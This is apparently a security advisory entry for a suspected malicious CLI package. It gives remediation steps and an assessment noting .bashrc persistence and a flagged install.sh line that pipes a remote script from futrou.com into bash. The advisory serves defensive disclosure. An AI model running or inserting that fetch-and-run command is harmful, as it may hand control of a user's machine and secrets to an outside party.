GCVE-110-OSM-2026-14754

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. Judge assessment: The package looks like a legitimate CLI wrapper around a platform-specific binary, but the install path is concerning because `install.sh` executes `curl -fsSL https://futrou.com/install.sh | bash` and also tries to persist via `.bashrc`. The entrypoint `index.cjs` itself only dispatches to a bundled binary with `execFileSync`, so I do not see direct credential theft or exfiltration in the scanned source. However, the combination of remote shell execution, startup persistence, and a very new publisher account is consistent with a potential attacker using a branded CLI as an initial dropper or supply-chain foothold. The OSV `MAL-2026-19074` advisory increases suspicion, but the evidence here supports a cautious suspicious verdict rather than confirmed malicious behavior from the inspected files alone. ENTRY index.cjs (bin: ./index.cjs) PERSISTENCE - Startup Persistence in install.sh: ".bashrc" EXFIL - Curl/Wget Pipe to Shell in install.sh: "curl -fsSL https://futrou.com/install.sh | bash" - System Information Collection in index.cjs: "os.platform()" ADDITIONAL FINDINGS - Shell Command Execution in index.cjs: "require('child_process')" PAYLOAD FILES index.cjs (+ install.sh)